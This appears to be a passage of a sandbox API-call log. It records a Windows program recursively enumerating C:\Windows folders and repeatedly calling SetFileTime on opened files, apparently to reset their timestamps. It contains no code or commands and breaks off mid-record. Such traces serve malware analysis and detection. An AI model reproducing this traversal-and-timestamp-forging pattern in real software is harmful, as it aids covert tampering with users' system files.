lpFindFileData=0x18fce8*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d0f7050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0f7050, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0127.390] lstrcmpA (lpString1=".", lpString2="Fonts") returned -1 [0127.390] lstrcmpA (lpString1="..", lpString2="Fonts") returned -1 [0127.390] FindFirstFileA (in: lpFileName="C:\\Windows\\Fonts\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d0f7050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0f7050, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0127.390] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.390] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d0f7050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0f7050, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.391] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.391] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.391] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b662f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x128b662f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x128b662f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8514fix.fon", cAlternateFileName="")) returned 1 [0127.391] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.443] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.443] CloseHandle (hObject=0x84) returned 1 [0127.444] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9204a24, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf9204a24, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x128dc78d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514fixe.fon", cAlternateFileName="")) returned 1 [0127.444] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.444] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9204a24, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf9204a24, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x128dc78d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514fixg.fon", cAlternateFileName="")) returned 1 [0127.444] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.444] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf922ab81, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf922ab81, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x129028eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514fixr.fon", cAlternateFileName="")) returned 1 [0127.444] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.445] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9250cde, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf9250cde, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12928a49, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514fixt.fon", cAlternateFileName="")) returned 1 [0127.445] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.445] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf929cf98, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf929cf98, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12ce0c77, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514oem.fon", cAlternateFileName="")) returned 1 [0127.445] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.445] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92e9252, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf92e9252, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12d2cf33, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x33c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514oeme.fon", cAlternateFileName="")) returned 1 [0127.445] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.446] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92e9252, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf92e9252, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12d2cf33, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514oemg.fon", cAlternateFileName="")) returned 1 [0127.446] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.446] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf930f3af, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf930f3af, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12d53091, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3390, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514oemr.fon", cAlternateFileName="")) returned 1 [0127.446] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.446] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf933550c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf933550c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12d791ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x31b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514oemt.fon", cAlternateFileName="")) returned 1 [0127.446] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.447] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf935b669, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf935b669, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12dc54ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514sys.fon", cAlternateFileName="")) returned 1 [0127.447] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.447] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf935b669, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf935b669, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12deb609, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2520, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514syse.fon", cAlternateFileName="")) returned 1 [0127.447] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.447] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93817c6, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf93817c6, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12deb609, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2680, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514sysg.fon", cAlternateFileName="")) returned 1 [0127.447] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.448] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93a7923, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xf93a7923, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x12ecfe3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2750, dwReserved0=0x0, dwReserved1=0x0, cFileName="8514sysr.fon", cAlternateFileName="")) returned 1 [0127.448] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.448] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.448] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.449] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.449] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.449] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.449] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.700] lstrcmpA (lpString1=".", lpString2="Globalization") returned -1 [0127.701] lstrcmpA (lpString1="..", lpString2="Globalization") returned -1 [0127.701] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0127.701] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.701] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.701] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.702] lstrcmpA (lpString1=".", lpString2="ELS") returned -1 [0127.702] lstrcmpA (lpString1="..", lpString2="ELS") returned -1 [0127.702] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\ELS\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe3ad5e0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe3ad5e0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.702] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.703] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.703] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.703] lstrcmpA (lpString1=".", lpString2="Transliteration") returned -1 [0127.703] lstrcmpA (lpString1="..", lpString2="Transliteration") returned -1 [0127.703] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0127.907] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.908] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.908] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.910] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.910] CloseHandle (hObject=0x8c) returned 1 [0127.924] lstrcmpA (lpString1=".", lpString2="MCT") returned -1 [0127.924] lstrcmpA (lpString1="..", lpString2="MCT") returned -1 [0127.924] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.926] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.926] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.926] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.926] lstrcmpA (lpString1=".", lpString2="MCT-AU") returned -1 [0127.926] lstrcmpA (lpString1="..", lpString2="MCT-AU") returned -1 [0127.926] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0127.927] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.927] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.927] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.927] lstrcmpA (lpString1=".", lpString2="RSSFeed") returned -1 [0127.927] lstrcmpA (lpString1="..", lpString2="RSSFeed") returned -1 [0127.927] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\RSSFeed\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.927] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.928] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.928] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.928] lstrcmpA (lpString1=".", lpString2="Theme") returned -1 [0127.928] lstrcmpA (lpString1="..", lpString2="Theme") returned -1 [0127.928] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Theme\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.928] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.929] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.929] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.931] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.931] CloseHandle (hObject=0x90) returned 1 [0127.932] lstrcmpA (lpString1=".", lpString2="Wallpaper") returned -1 [0127.932] lstrcmpA (lpString1="..", lpString2="Wallpaper") returned -1 [0127.932] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.977] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.977] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.977] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.979] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.979] CloseHandle (hObject=0x90) returned 1 [0127.984] lstrcmpA (lpString1=".", lpString2="MCT-CA") returned -1 [0127.984] lstrcmpA (lpString1="..", lpString2="MCT-CA") returned -1 [0127.985] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf7d390f5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0127.985] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.986] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.986] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.986] lstrcmpA (lpString1=".", lpString2="RSSFeed") returned -1 [0127.986] lstrcmpA (lpString1="..", lpString2="RSSFeed") returned -1 [0127.986] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\RSSFeed\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.986] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.986] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.986] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.986] lstrcmpA (lpString1=".", lpString2="Theme") returned -1 [0127.987] lstrcmpA (lpString1="..", lpString2="Theme") returned -1 [0127.987] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Theme\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.987] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.987] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.987] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.989] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.990] CloseHandle (hObject=0x90) returned 1 [0127.990] lstrcmpA (lpString1=".", lpString2="Wallpaper") returned -1 [0127.990] lstrcmpA (lpString1="..", lpString2="Wallpaper") returned -1 [0127.990] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.994] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.995] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.995] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.997] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.997] CloseHandle (hObject=0x90) returned 1 [0128.002] lstrcmpA (lpString1=".", lpString2="MCT-GB") returned -1 [0128.002] lstrcmpA (lpString1="..", lpString2="MCT-GB") returned -1 [0128.002] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x541dec5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.003] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.003] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.003] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.003] lstrcmpA (lpString1=".", lpString2="Link") returned -1 [0128.003] lstrcmpA (lpString1="..", lpString2="Link") returned -1 [0128.003] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Link\\*.*", lpFindFileData=0x18f7a8 | out: 